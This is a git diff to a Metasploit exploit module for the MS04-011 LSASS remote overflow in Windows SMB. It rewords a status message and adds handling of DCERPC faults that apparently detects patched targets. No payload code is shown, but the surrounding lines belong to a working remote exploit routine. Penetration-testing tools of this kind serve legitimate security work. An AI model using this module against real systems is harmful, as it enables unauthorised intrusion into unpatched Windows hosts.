diff --git a/modules/exploits/windows/smb/ms04_011_lsass.rb b/modules/exploits/windows/smb/ms04_011_lsass.rb index 3ffdd9003f..bbb7640849 100644 --- a/modules/exploits/windows/smb/ms04_011_lsass.rb +++ b/modules/exploits/windows/smb/ms04_011_lsass.rb @@ -79,7 +79,7 @@ class Exploits::Windows::Smb::MS04_011_LSASS < Msf::Exploit::Remote dcerpc_bind(handle) print_status("Bound to #{handle}...") - print_status('Getting OS...') + print_status('Getting OS information...') # Check the remote OS name and version os = smb_peer_lm string = '' @@ -132,6 +132,13 @@ class Exploits::Windows::Smb::MS04_011_LSASS < Msf::Exploit::Remote response = dcerpc_call(9, stub) rescue Rex::Proto::DCERPC::Exceptions::NoResponse print_status('Server did not respond, but that should be ok...') + rescue Rex::Proto::DCERPC::Exceptions::Fault + case $!.fault + when 0x1c010002 + print_status('Server appears to have been patched') + else + print_status("Unexpected DCERPC fault 0x%.8x" % $!.fault) + end end # Perform any required client-side payload handling